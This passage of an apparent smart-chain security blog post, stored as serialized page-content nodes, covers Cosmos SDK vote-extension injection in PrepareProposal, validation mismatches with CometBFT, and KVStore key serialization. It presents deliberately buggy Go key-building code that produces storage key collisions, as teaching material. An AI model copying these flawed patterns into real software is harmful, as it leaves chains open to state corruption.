rules\n",{"type":24,"tag":83,"props":84018,"children":84019},{"class":85,"line":256},[84020,84024,84028,84033,84037,84042,84046,84050,84054,84059,84063,84068,84072,84076,84080,84084,84088,84092,84096,84101,84105,84109,84113,84118],{"type":24,"tag":83,"props":84021,"children":84022},{"style":137},[84023],{"type":29,"value":82050},{"type":24,"tag":83,"props":84025,"children":84026},{"style":143},[84027],{"type":29,"value":76131},{"type":24,"tag":83,"props":84029,"children":84030},{"style":137},[84031],{"type":29,"value":84032}," baseapp",{"type":24,"tag":83,"props":84034,"children":84035},{"style":107},[84036],{"type":29,"value":161},{"type":24,"tag":83,"props":84038,"children":84039},{"style":101},[84040],{"type":29,"value":84041},"ValidateVoteExtensions",{"type":24,"tag":83,"props":84043,"children":84044},{"style":107},[84045],{"type":29,"value":558},{"type":24,"tag":83,"props":84047,"children":84048},{"style":137},[84049],{"type":29,"value":20021},{"type":24,"tag":83,"props":84051,"children":84052},{"style":107},[84053],{"type":29,"value":568},{"type":24,"tag":83,"props":84055,"children":84056},{"style":137},[84057],{"type":29,"value":84058},"h",{"type":24,"tag":83,"props":84060,"children":84061},{"style":107},[84062],{"type":29,"value":161},{"type":24,"tag":83,"props":84064,"children":84065},{"style":137},[84066],{"type":29,"value":84067},"stakingKeeper",{"type":24,"tag":83,"props":84069,"children":84070},{"style":107},[84071],{"type":29,"value":568},{"type":24,"tag":83,"props":84073,"children":84074},{"style":137},[84075],{"type":29,"value":83862},{"type":24,"tag":83,"props":84077,"children":84078},{"style":107},[84079],{"type":29,"value":161},{"type":24,"tag":83,"props":84081,"children":84082},{"style":137},[84083],{"type":29,"value":83193},{"type":24,"tag":83,"props":84085,"children":84086},{"style":107},[84087],{"type":29,"value":568},{"type":24,"tag":83,"props":84089,"children":84090},{"style":137},[84091],{"type":29,"value":20021},{"type":24,"tag":83,"props":84093,"children":84094},{"style":107},[84095],{"type":29,"value":161},{"type":24,"tag":83,"props":84097,"children":84098},{"style":101},[84099],{"type":29,"value":84100},"ChainID",{"type":24,"tag":83,"props":84102,"children":84103},{"style":107},[84104],{"type":29,"value":18112},{"type":24,"tag":83,"props":84106,"children":84107},{"style":137},[84108],{"type":29,"value":83862},{"type":24,"tag":83,"props":84110,"children":84111},{"style":107},[84112],{"type":29,"value":161},{"type":24,"tag":83,"props":84114,"children":84115},{"style":137},[84116],{"type":29,"value":84117},"LocalLastCommit",{"type":24,"tag":83,"props":84119,"children":84120},{"style":107},[84121],{"type":29,"value":2905},{"type":24,"tag":83,"props":84123,"children":84124},{"class":85,"line":270},[84125,84129,84133,84137,84141],{"type":24,"tag":83,"props":84126,"children":84127},{"style":117},[84128],{"type":29,"value":58515},{"type":24,"tag":83,"props":84130,"children":84131},{"style":137},[84132],{"type":29,"value":48239},{"type":24,"tag":83,"props":84134,"children":84135},{"style":143},[84136],{"type":29,"value":290},{"type":24,"tag":83,"props":84138,"children":84139},{"style":90},[84140],{"type":29,"value":81632},{"type":24,"tag":83,"props":84142,"children":84143},{"style":107},[84144],{"type":29,"value":125},{"type":24,"tag":83,"props":84146,"children":84147},{"class":85,"line":302},[84148,84152,84156,84160],{"type":24,"tag":83,"props":84149,"children":84150},{"style":117},[84151],{"type":29,"value":60443},{"type":24,"tag":83,"props":84153,"children":84154},{"style":90},[84155],{"type":29,"value":81632},{"type":24,"tag":83,"props":84157,"children":84158},{"style":107},[84159],{"type":29,"value":568},{"type":24,"tag":83,"props":84161,"children":84162},{"style":137},[84163],{"type":29,"value":83353},{"type":24,"tag":83,"props":84165,"children":84166},{"class":85,"line":324},[84167],{"type":24,"tag":83,"props":84168,"children":84169},{"style":107},[84170],{"type":29,"value":58599},{"type":24,"tag":83,"props":84172,"children":84173},{"class":85,"line":345},[84174,84179,84183,84187,84191,84196,84200,84205,84209,84213,84217,84221],{"type":24,"tag":83,"props":84175,"children":84176},{"style":137},[84177],{"type":29,"value":84178},"            injection",{"type":24,"tag":83,"props":84180,"children":84181},{"style":107},[84182],{"type":29,"value":568},{"type":24,"tag":83,"props":84184,"children":84185},{"style":137},[84186],{"type":29,"value":48138},{"type":24,"tag":83,"props":84188,"children":84189},{"style":143},[84190],{"type":29,"value":146},{"type":24,"tag":83,"props":84192,"children":84193},{"style":137},[84194],{"type":29,"value":84195}," json",{"type":24,"tag":83,"props":84197,"children":84198},{"style":107},[84199],{"type":29,"value":161},{"type":24,"tag":83,"props":84201,"children":84202},{"style":101},[84203],{"type":29,"value":84204},"Marshal",{"type":24,"tag":83,"props":84206,"children":84207},{"style":107},[84208],{"type":29,"value":558},{"type":24,"tag":83,"props":84210,"children":84211},{"style":137},[84212],{"type":29,"value":83862},{"type":24,"tag":83,"props":84214,"children":84215},{"style":107},[84216],{"type":29,"value":161},{"type":24,"tag":83,"props":84218,"children":84219},{"style":137},[84220],{"type":29,"value":84117},{"type":24,"tag":83,"props":84222,"children":84223},{"style":107},[84224],{"type":29,"value":2905},{"type":24,"tag":83,"props":84226,"children":84227},{"class":85,"line":358},[84228,84232,84236,84240,84244],{"type":24,"tag":83,"props":84229,"children":84230},{"style":117},[84231],{"type":29,"value":58515},{"type":24,"tag":83,"props":84233,"children":84234},{"style":137},[84235],{"type":29,"value":48239},{"type":24,"tag":83,"props":84237,"children":84238},{"style":143},[84239],{"type":29,"value":290},{"type":24,"tag":83,"props":84241,"children":84242},{"style":90},[84243],{"type":29,"value":81632},{"type":24,"tag":83,"props":84245,"children":84246},{"style":107},[84247],{"type":29,"value":125},{"type":24,"tag":83,"props":84249,"children":84250},{"class":85,"line":367},[84251,84256,84260,84265,84269,84273,84277,84282,84286,84291,84295,84299],{"type":24,"tag":83,"props":84252,"children":84253},{"style":137},[84254],{"type":29,"value":84255},"                h",{"type":24,"tag":83,"props":84257,"children":84258},{"style":107},[84259],{"type":29,"value":161},{"type":24,"tag":83,"props":84261,"children":84262},{"style":137},[84263],{"type":29,"value":84264},"logger",{"type":24,"tag":83,"props":84266,"children":84267},{"style":107},[84268],{"type":29,"value":161},{"type":24,"tag":83,"props":84270,"children":84271},{"style":101},[84272],{"type":29,"value":37122},{"type":24,"tag":83,"props":84274,"children":84275},{"style":107},[84276],{"type":29,"value":558},{"type":24,"tag":83,"props":84278,"children":84279},{"style":187},[84280],{"type":29,"value":84281},"\"failed to marshal extended votes\"",{"type":24,"tag":83,"props":84283,"children":84284},{"style":107},[84285],{"type":29,"value":568},{"type":24,"tag":83,"props":84287,"children":84288},{"style":187},[84289],{"type":29,"value":84290},"\"err\"",{"type":24,"tag":83,"props":84292,"children":84293},{"style":107},[84294],{"type":29,"value":568},{"type":24,"tag":83,"props":84296,"children":84297},{"style":137},[84298],{"type":29,"value":48138},{"type":24,"tag":83,"props":84300,"children":84301},{"style":107},[84302],{"type":29,"value":2905},{"type":24,"tag":83,"props":84304,"children":84305},{"class":85,"line":406},[84306,84310,84314,84318],{"type":24,"tag":83,"props":84307,"children":84308},{"style":117},[84309],{"type":29,"value":60443},{"type":24,"tag":83,"props":84311,"children":84312},{"style":90},[84313],{"type":29,"value":81632},{"type":24,"tag":83,"props":84315,"children":84316},{"style":107},[84317],{"type":29,"value":568},{"type":24,"tag":83,"props":84319,"children":84320},{"style":137},[84321],{"type":29,"value":83353},{"type":24,"tag":83,"props":84323,"children":84324},{"class":85,"line":427},[84325],{"type":24,"tag":83,"props":84326,"children":84327},{"style":107},[84328],{"type":29,"value":58599},{"type":24,"tag":83,"props":84330,"children":84331},{"class":85,"line":440},[84332],{"type":24,"tag":83,"props":84333,"children":84334},{"style":143},[84335],{"type":29,"value":82232},{"type":24,"tag":83,"props":84337,"children":84338},{"class":85,"line":449},[84339],{"type":24,"tag":83,"props":84340,"children":84341},{"style":107},[84342],{"type":29,"value":3092},{"type":24,"tag":83,"props":84344,"children":84345},{"class":85,"line":458},[84346,84351,84355,84359,84363,84368,84372,84377,84381,84385,84389,84393],{"type":24,"tag":83,"props":84347,"children":84348},{"style":137},[84349],{"type":29,"value":84350},"        defaultRes",{"type":24,"tag":83,"props":84352,"children":84353},{"style":107},[84354],{"type":29,"value":568},{"type":24,"tag":83,"props":84356,"children":84357},{"style":137},[84358],{"type":29,"value":48138},{"type":24,"tag":83,"props":84360,"children":84361},{"style":143},[84362],{"type":29,"value":76131},{"type":24,"tag":83,"props":84364,"children":84365},{"style":137},[84366],{"type":29,"value":84367}," h",{"type":24,"tag":83,"props":84369,"children":84370},{"style":107},[84371],{"type":29,"value":161},{"type":24,"tag":83,"props":84373,"children":84374},{"style":101},[84375],{"type":29,"value":84376},"defaultPrepareProposal",{"type":24,"tag":83,"props":84378,"children":84379},{"style":107},[84380],{"type":29,"value":558},{"type":24,"tag":83,"props":84382,"children":84383},{"style":137},[84384],{"type":29,"value":20021},{"type":24,"tag":83,"props":84386,"children":84387},{"style":107},[84388],{"type":29,"value":568},{"type":24,"tag":83,"props":84390,"children":84391},{"style":137},[84392],{"type":29,"value":83862},{"type":24,"tag":83,"props":84394,"children":84395},{"style":107},[84396],{"type":29,"value":2905},{"type":24,"tag":83,"props":84398,"children":84399},{"class":85,"line":1065},[84400],{"type":24,"tag":83,"props":84401,"children":84402},{"style":143},[84403],{"type":29,"value":81556},{"type":24,"tag":83,"props":84405,"children":84406},{"class":85,"line":1668},[84407,84412,84416,84421,84425],{"type":24,"tag":83,"props":84408,"children":84409},{"style":137},[84410],{"type":29,"value":84411},"        proposalTxs",{"type":24,"tag":83,"props":84413,"children":84414},{"style":143},[84415],{"type":29,"value":76131},{"type":24,"tag":83,"props":84417,"children":84418},{"style":137},[84419],{"type":29,"value":84420}," defaultRes",{"type":24,"tag":83,"props":84422,"children":84423},{"style":107},[84424],{"type":29,"value":161},{"type":24,"tag":83,"props":84426,"children":84427},{"style":137},[84428],{"type":29,"value":84429},"Txs\n",{"type":24,"tag":83,"props":84431,"children":84432},{"class":85,"line":1713},[84433,84437,84441,84445,84449],{"type":24,"tag":83,"props":84434,"children":84435},{"style":117},[84436],{"type":29,"value":3018},{"type":24,"tag":83,"props":84438,"children":84439},{"style":137},[84440],{"type":29,"value":83932},{"type":24,"tag":83,"props":84442,"children":84443},{"style":143},[84444],{"type":29,"value":290},{"type":24,"tag":83,"props":84446,"children":84447},{"style":90},[84448],{"type":29,"value":81632},{"type":24,"tag":83,"props":84450,"children":84451},{"style":107},[84452],{"type":29,"value":125},{"type":24,"tag":83,"props":84454,"children":84455},{"class":85,"line":1730},[84456,84461,84465,84469,84474,84479,84483,84488,84492,84497,84501],{"type":24,"tag":83,"props":84457,"children":84458},{"style":137},[84459],{"type":29,"value":84460},"            proposalTxs",{"type":24,"tag":83,"props":84462,"children":84463},{"style":143},[84464],{"type":29,"value":146},{"type":24,"tag":83,"props":84466,"children":84467},{"style":101},[84468],{"type":29,"value":77411},{"type":24,"tag":83,"props":84470,"children":84471},{"style":107},[84472],{"type":29,"value":84473},"([][]",{"type":24,"tag":83,"props":84475,"children":84476},{"style":3163},[84477],{"type":29,"value":84478},"byte",{"type":24,"tag":83,"props":84480,"children":84481},{"style":107},[84482],{"type":29,"value":76333},{"type":24,"tag":83,"props":84484,"children":84485},{"style":137},[84486],{"type":29,"value":84487},"injection",{"type":24,"tag":83,"props":84489,"children":84490},{"style":107},[84491],{"type":29,"value":76352},{"type":24,"tag":83,"props":84493,"children":84494},{"style":137},[84495],{"type":29,"value":84496},"proposalTxs",{"type":24,"tag":83,"props":84498,"children":84499},{"style":143},[84500],{"type":29,"value":509},{"type":24,"tag":83,"props":84502,"children":84503},{"style":107},[84504],{"type":29,"value":2905},{"type":24,"tag":83,"props":84506,"children":84507},{"class":85,"line":1770},[84508,84513,84517,84521,84525,84529,84533,84538,84542,84547,84551,84555,84559,84563],{"type":24,"tag":83,"props":84509,"children":84510},{"style":137},[84511],{"type":29,"value":84512},"            h",{"type":24,"tag":83,"props":84514,"children":84515},{"style":107},[84516],{"type":29,"value":161},{"type":24,"tag":83,"props":84518,"children":84519},{"style":137},[84520],{"type":29,"value":84264},{"type":24,"tag":83,"props":84522,"children":84523},{"style":107},[84524],{"type":29,"value":161},{"type":24,"tag":83,"props":84526,"children":84527},{"style":101},[84528],{"type":29,"value":24461},{"type":24,"tag":83,"props":84530,"children":84531},{"style":107},[84532],{"type":29,"value":558},{"type":24,"tag":83,"props":84534,"children":84535},{"style":187},[84536],{"type":29,"value":84537},"\"injected local last commit\"",{"type":24,"tag":83,"props":84539,"children":84540},{"style":107},[84541],{"type":29,"value":568},{"type":24,"tag":83,"props":84543,"children":84544},{"style":187},[84545],{"type":29,"value":84546},"\"height\"",{"type":24,"tag":83,"props":84548,"children":84549},{"style":107},[84550],{"type":29,"value":568},{"type":24,"tag":83,"props":84552,"children":84553},{"style":137},[84554],{"type":29,"value":83862},{"type":24,"tag":83,"props":84556,"children":84557},{"style":107},[84558],{"type":29,"value":161},{"type":24,"tag":83,"props":84560,"children":84561},{"style":137},[84562],{"type":29,"value":83193},{"type":24,"tag":83,"props":84564,"children":84565},{"style":107},[84566],{"type":29,"value":2905},{"type":24,"tag":83,"props":84568,"children":84569},{"class":85,"line":1778},[84570],{"type":24,"tag":83,"props":84571,"children":84572},{"style":107},[84573],{"type":29,"value":3092},{"type":24,"tag":83,"props":84575,"children":84576},{"class":85,"line":1803},[84577,84581,84585,84589,84593,84597],{"type":24,"tag":83,"props":84578,"children":84579},{"style":117},[84580],{"type":29,"value":15482},{"type":24,"tag":83,"props":84582,"children":84583},{"style":143},[84584],{"type":29,"value":6888},{"type":24,"tag":83,"props":84586,"children":84587},{"style":3163},[84588],{"type":29,"value":83871},{"type":24,"tag":83,"props":84590,"children":84591},{"style":107},[84592],{"type":29,"value":161},{"type":24,"tag":83,"props":84594,"children":84595},{"style":3163},[84596],{"type":29,"value":83901},{"type":24,"tag":83,"props":84598,"children":84599},{"style":107},[84600],{"type":29,"value":10628},{"type":24,"tag":83,"props":84602,"children":84603},{"class":85,"line":1811},[84604,84609,84613,84617],{"type":24,"tag":83,"props":84605,"children":84606},{"style":137},[84607],{"type":29,"value":84608},"            Txs",{"type":24,"tag":83,"props":84610,"children":84611},{"style":107},[84612],{"type":29,"value":1920},{"type":24,"tag":83,"props":84614,"children":84615},{"style":137},[84616],{"type":29,"value":84496},{"type":24,"tag":83,"props":84618,"children":84619},{"style":107},[84620],{"type":29,"value":989},{"type":24,"tag":83,"props":84622,"children":84623},{"class":85,"line":8792},[84624,84629],{"type":24,"tag":83,"props":84625,"children":84626},{"style":107},[84627],{"type":29,"value":84628},"        }, ",{"type":24,"tag":83,"props":84630,"children":84631},{"style":90},[84632],{"type":29,"value":76357},{"type":24,"tag":83,"props":84634,"children":84635},{"class":85,"line":8810},[84636],{"type":24,"tag":83,"props":84637,"children":84638},{"style":107},[84639],{"type":29,"value":446},{"type":24,"tag":83,"props":84641,"children":84642},{"class":85,"line":8855},[84643],{"type":24,"tag":83,"props":84644,"children":84645},{"style":107},[84646],{"type":29,"value":464},{"type":24,"tag":25,"props":84648,"children":84649},{},[84650,84652,84657,84658,84663,84665,84672],{"type":29,"value":84651},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":32,"props":84653,"children":84655},{"className":84654},[],[84656],{"type":29,"value":83022},{"type":29,"value":223},{"type":24,"tag":32,"props":84659,"children":84661},{"className":84660},[],[84662],{"type":29,"value":83090},{"type":29,"value":84664},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":2033,"props":84666,"children":84669},{"href":84667,"rel":84668},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[2037],[84670],{"type":29,"value":84671},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":84673},", which will later get rejected by CometBTF.",{"type":24,"tag":51,"props":84675,"children":84677},{"id":84676},"the-keymaker",[84678],{"type":29,"value":84679},"The Keymaker",{"type":24,"tag":25,"props":84681,"children":84682},{},[84683,84685,84691,84693,84698],{"type":29,"value":84684},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":32,"props":84686,"children":84688},{"className":84687},[],[84689],{"type":29,"value":84690},"KVStore",{"type":29,"value":84692}," to handle states efficently. In ",{"type":24,"tag":32,"props":84694,"children":84696},{"className":84695},[],[84697],{"type":29,"value":84690},{"type":29,"value":84699},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":84701,"children":84702},{},[84703],{"type":29,"value":84704},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":84706,"children":84707},{},[84708,84710,84716],{"type":29,"value":84709},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":32,"props":84711,"children":84713},{"className":84712},[],[84714],{"type":29,"value":84715},"positionMap",{"type":29,"value":84717}," structure mentioned below into storage.",{"type":24,"tag":73,"props":84719,"children":84721},{"code":84720,"language":75879,"meta":7,"className":75880,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[84722],{"type":24,"tag":32,"props":84723,"children":84724},{"__ignoreMap":7},[84725,84741,84758,84774,84793,84808,84815,84832],{"type":24,"tag":83,"props":84726,"children":84727},{"class":85,"line":86},[84728,84732,84737],{"type":24,"tag":83,"props":84729,"children":84730},{"style":90},[84731],{"type":29,"value":32495},{"type":24,"tag":83,"props":84733,"children":84734},{"style":3163},[84735],{"type":29,"value":84736}," VaultId",{"type":24,"tag":83,"props":84738,"children":84739},{"style":3163},[84740],{"type":29,"value":75917},{"type":24,"tag":83,"props":84742,"children":84743},{"class":85,"line":113},[84744,84748,84753],{"type":24,"tag":83,"props":84745,"children":84746},{"style":90},[84747],{"type":29,"value":32495},{"type":24,"tag":83,"props":84749,"children":84750},{"style":3163},[84751],{"type":29,"value":84752}," Username",{"type":24,"tag":83,"props":84754,"children":84755},{"style":3163},[84756],{"type":29,"value":84757}," string\n",{"type":24,"tag":83,"props":84759,"children":84760},{"class":85,"line":128},[84761,84765,84770],{"type":24,"tag":83,"props":84762,"children":84763},{"style":90},[84764],{"type":29,"value":32495},{"type":24,"tag":83,"props":84766,"children":84767},{"style":3163},[84768],{"type":29,"value":84769}," PositionName",{"type":24,"tag":83,"props":84771,"children":84772},{"style":3163},[84773],{"type":29,"value":84757},{"type":24,"tag":83,"props":84775,"children":84776},{"class":85,"line":183},[84777,84781,84785,84789],{"type":24,"tag":83,"props":84778,"children":84779},{"style":90},[84780],{"type":29,"value":32495},{"type":24,"tag":83,"props":84782,"children":84783},{"style":3163},[84784],{"type":29,"value":7172},{"type":24,"tag":83,"props":84786,"children":84787},{"style":90},[84788],{"type":29,"value":20891},{"type":24,"tag":83,"props":84790,"children":84791},{"style":107},[84792],{"type":29,"value":125},{"type":24,"tag":83,"props":84794,"children":84795},{"class":85,"line":203},[84796,84800,84804],{"type":24,"tag":83,"props":84797,"children":84798},{"style":137},[84799],{"type":29,"value":712},{"type":24,"tag":83,"props":84801,"children":84802},{"style":107},[84803],{"type":29,"value":75942},{"type":24,"tag":83,"props":84805,"children":84806},{"style":3163},[84807],{"type":29,"value":83941},{"type":24,"tag":83,"props":84809,"children":84810},{"class":85,"line":212},[84811],{"type":24,"tag":83,"props":84812,"children":84813},{"style":107},[84814],{"type":29,"value":464},{"type":24,"tag":83,"props":84816,"children":84817},{"class":85,"line":256},[84818,84822,84827],{"type":24,"tag":83,"props":84819,"children":84820},{"style":90},[84821],{"type":29,"value":32495},{"type":24,"tag":83,"props":84823,"children":84824},{"style":3163},[84825],{"type":29,"value":84826}," PositionMap",{"type":24,"tag":83,"props":84828,"children":84829},{"style":143},[84830],{"type":29,"value":84831}," :=\n",{"type":24,"tag":83,"props":84833,"children":84834},{"class":85,"line":270},[84835,84840,84844,84849,84853,84857,84861,84866,84870,84874,84878,84883,84887],{"type":24,"tag":83,"props":84836,"children":84837},{"style":90},[84838],{"type":29,"value":84839},"    map",{"type":24,"tag":83,"props":84841,"children":84842},{"style":107},[84843],{"type":29,"value":1161},{"type":24,"tag":83,"props":84845,"children":84846},{"style":3163},[84847],{"type":29,"value":84848},"VaultId",{"type":24,"tag":83,"props":84850,"children":84851},{"style":107},[84852],{"type":29,"value":15151},{"type":24,"tag":83,"props":84854,"children":84855},{"style":90},[84856],{"type":29,"value":66817},{"type":24,"tag":83,"props":84858,"children":84859},{"style":107},[84860],{"type":29,"value":1161},{"type":24,"tag":83,"props":84862,"children":84863},{"style":3163},[84864],{"type":29,"value":84865},"Username",{"type":24,"tag":83,"props":84867,"children":84868},{"style":107},[84869],{"type":29,"value":15151},{"type":24,"tag":83,"props":84871,"children":84872},{"style":90},[84873],{"type":29,"value":66817},{"type":24,"tag":83,"props":84875,"children":84876},{"style":107},[84877],{"type":29,"value":1161},{"type":24,"tag":83,"props":84879,"children":84880},{"style":3163},[84881],{"type":29,"value":84882},"PositionName",{"type":24,"tag":83,"props":84884,"children":84885},{"style":107},[84886],{"type":29,"value":15151},{"type":24,"tag":83,"props":84888,"children":84889},{"style":3163},[84890],{"type":29,"value":84891},"Position\n",{"type":24,"tag":25,"props":84893,"children":84894},{},[84895,84897,84903],{"type":29,"value":84896},"Given that there are two levels of keys in ",{"type":24,"tag":32,"props":84898,"children":84900},{"className":84899},[],[84901],{"type":29,"value":84902},"PositionMap",{"type":29,"value":84904},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":73,"props":84906,"children":84908},{"code":84907,"language":75879,"meta":7,"className":75880,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[84909],{"type":24,"tag":32,"props":84910,"children":84911},{"__ignoreMap":7},[84912,84941,84953,84965,84977,84989],{"type":24,"tag":83,"props":84913,"children":84914},{"class":85,"line":86},[84915,84920,84924,84928,84932,84937],{"type":24,"tag":83,"props":84916,"children":84917},{"style":137},[84918],{"type":29,"value":84919},"storageKey",{"type":24,"tag":83,"props":84921,"children":84922},{"style":143},[84923],{"type":29,"value":76131},{"type":24,"tag":83,"props":84925,"children":84926},{"style":137},[84927],{"type":29,"value":81948},{"type":24,"tag":83,"props":84929,"children":84930},{"style":107},[84931],{"type":29,"value":161},{"type":24,"tag":83,"props":84933,"children":84934},{"style":101},[84935],{"type":29,"value":84936},"Sprintf",{"type":24,"tag":83,"props":84938,"children":84939},{"style":107},[84940],{"type":29,"value":3208},{"type":24,"tag":83,"props":84942,"children":84943},{"class":85,"line":113},[84944,84949],{"type":24,"tag":83,"props":84945,"children":84946},{"style":187},[84947],{"type":29,"value":84948},"    \"%d%s%s\"",{"type":24,"tag":83,"props":84950,"children":84951},{"style":107},[84952],{"type":29,"value":989},{"type":24,"tag":83,"props":84954,"children":84955},{"class":85,"line":128},[84956,84961],{"type":24,"tag":83,"props":84957,"children":84958},{"style":137},[84959],{"type":29,"value":84960},"    vaultId",{"type":24,"tag":83,"props":84962,"children":84963},{"style":107},[84964],{"type":29,"value":989},{"type":24,"tag":83,"props":84966,"children":84967},{"class":85,"line":183},[84968,84973],{"type":24,"tag":83,"props":84969,"children":84970},{"style":137},[84971],{"type":29,"value":84972},"    username",{"type":24,"tag":83,"props":84974,"children":84975},{"style":107},[84976],{"type":29,"value":989},{"type":24,"tag":83,"props":84978,"children":84979},{"class":85,"line":203},[84980,84985],{"type":24,"tag":83,"props":84981,"children":84982},{"style":137},[84983],{"type":29,"value":84984},"    positionName",{"type":24,"tag":83,"props":84986,"children":84987},{"style":107},[84988],{"type":29,"value":989},{"type":24,"tag":83,"props":84990,"children":84991},{"class":85,"line":212},[84992],{"type":24,"tag":83,"props":84993,"children":84994},{"style":107},[84995],{"type":29,"value":2905},{"type":24,"tag":25,"props":84997,"children":84998},{},[84999],{"type":29,"value":85000},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":73,"props":85002,"children":85004},{"code":85003},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[85005],{"type":24,"tag":32,"props":85006,"children":85007},{"__ignoreMap":7},[85008],{"type":29,"value":85003},{"type":24,"tag":25,"props":85010,"children":85011},{},[85012,85017],{"type":24,"tag":2655,"props":85013,"children":85014},{},[85015],{"type":29,"value":85016},"So, how can we mitigate this issue?",{"type":29,"value":85018},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":73,"props":85020,"children":85022},{"code":85021,"language":75879,"meta":7,"className":75880,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[85023],{"type":24,"tag":32,"props":85024,"children":85025},{"__ignoreMap":7},[85026,85037,85054,85061,85068,85095,85107,85118,85129,85140,85151,85162],{"type":24,"tag":83,"props":85027,"children":85028},{"class":85,"line":86},[85029,85033],{"type":24,"tag":83,"props":85030,"children":85031},{"style":90},[85032],{"type":29,"value":9401},{"type":24,"tag":83,"props":85034,"children":85035},{"style":107},[85036],{"type":29,"value":1337},{"type":24,"tag":83,"props":85038,"children":85039},{"class":85,"line":113},[85040,85045,85049],{"type":24,"tag":83,"props":85041,"children":85042},{"style":137},[85043],{"type":29,"value":85044},"    Seperator",{"type":24,"tag":83,"props":85046,"children":85047},{"style":143},[85048],{"type":29,"value":146},{"type":24,"tag":83,"props":85050,"children":85051},{"style":187},[85052],{"type":29,"value":85053}," \"|\"\n",{"type":24,"tag":83,"props":85055,"children":85056},{"class":85,"line":128},[85057],{"type":24,"tag":83,"props":85058,"children":85059},{"style":107},[85060],{"type":29,"value":2905},{"type":24,"tag":83,"props":85062,"children":85063},{"class":85,"line":183},[85064],{"type":24,"tag":83,"props":85065,"children":85066},{"emptyLinePlaceholder":16},[85067],{"type":29,"value":3422},{"type":24,"tag":83,"props":85069,"children":85070},{"class":85,"line":203},[85071,85075,85079,85083,85087,85091],{"type":24,"tag":83,"props":85072,"children":85073},{"style":137},[85074],{"type":29,"value":84919},{"type":24,"tag":83,"props":85076,"children":85077},{"style":143},[85078],{"type":29,"value":76131},{"type":24,"tag":83,"props":85080,"children":85081},{"style":137},[85082],{"type":29,"value":81948},{"type":24,"tag":83,"props":85084,"children":85085},{"style":107},[85086],{"type":29,"value":161},{"type":24,"tag":83,"props":85088,"children":85089},{"style":101},[85090],{"type":29,"value":84936},{"type":24,"tag":83,"props":85092,"children":85093},{"style":107},[85094],{"type":29,"value":3208},{"type":24,"tag":83,"props":85096,"children":85097},{"class":85,"line":212},[85098,85103],{"type":24,"tag":83,"props":85099,"children":85100},{"style":187},[85101],{"type":29,"value":85102},"    \"%d%s%s%s%s\"",{"type":24,"tag":83,"props":85104,"children":85105},{"style":107},[85106],{"type":29,"value":989},{"type":24,"tag":83,"props":85108,"children":85109},{"class":85,"line":256},[85110,85114],{"type":24,"tag":83,"props":85111,"children":85112},{"style":137},[85113],{"type":29,"value":84960},{"type":24,"tag":83,"props":85115,"children":85116},{"style":107},[85117],{"type":29,"value":989},{"type":24,"tag":83,"props":85119,"children":85120},{"class":85,"line":270},[85121,85125],{"type":24,"tag":83,"props":85122,"children":85123},{"style":137},[85124],{"type":29,"value":85044},{"type":24,"tag":83,"props":85126,"children":85127},{"style":107},[85128],{"type":29,"value":989},{"type":24,"tag":83,"props":85130,"children":85131},{"class":85,"line":302},[85132,85136],{"type":24,"tag":83,"props":85133,"children":85134},{"style":137},[85135],{"type":29,"value":84972},{"type":24,"tag":83,"props":85137,"children":85138},{"style":107},[85139],{"type":29,"value":989},{"type":24,"tag":83,"props":85141,"children":85142},{"class":85,"line":324},[85143,85147],{"type":24,"tag":83,"props":85144,"children":85145},{"style":137},[85146],{"type":29,"value":85044},{"type":24,"tag":83,"props":85148,"children":85149},{"style":107},[85150],{"type":29,"value":989},{"type":24,"tag":83,"props":85152,"children":85153},{"class":85,"line":345},[85154,85158],{"type":24,"tag":83,"props":85155,"children":85156},{"style":137},[85157],{"type":29,"value":84984},{"type":24,"tag":83,"props":85159,"children":85160},{"style":107},[85161],{"type":29,"value":989},{"type":24,"tag":83,"props":85163,"children":85164},{"class":85,"line":358},[85165],{"type":24,"tag":83,"props":85166,"children":85167},{"style":107},[85168],{"type":29,"value":2905},{"type":24,"tag":25,"props":85170,"children":85171},{},[85172],{"type":29,"value":85173},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":85175,"children":85176},{},[85177,85179,85185,85186,85192],{"type":29,"value":85178},"Sadly, it doesn't. Since the ",{"type":24,"tag":32,"props":85180,"children":85182},{"className":85181},[],[85183],{"type":29,"value":85184},"username",{"type":29,"value":2287},{"type":24,"tag":32,"props":85187,"children":85189},{"className":85188},[],[85190],{"type":29,"value":85191},"vaultName",{"type":29,"value":85193}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":73,"props":85195,"children":85197},{"code":85196},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = 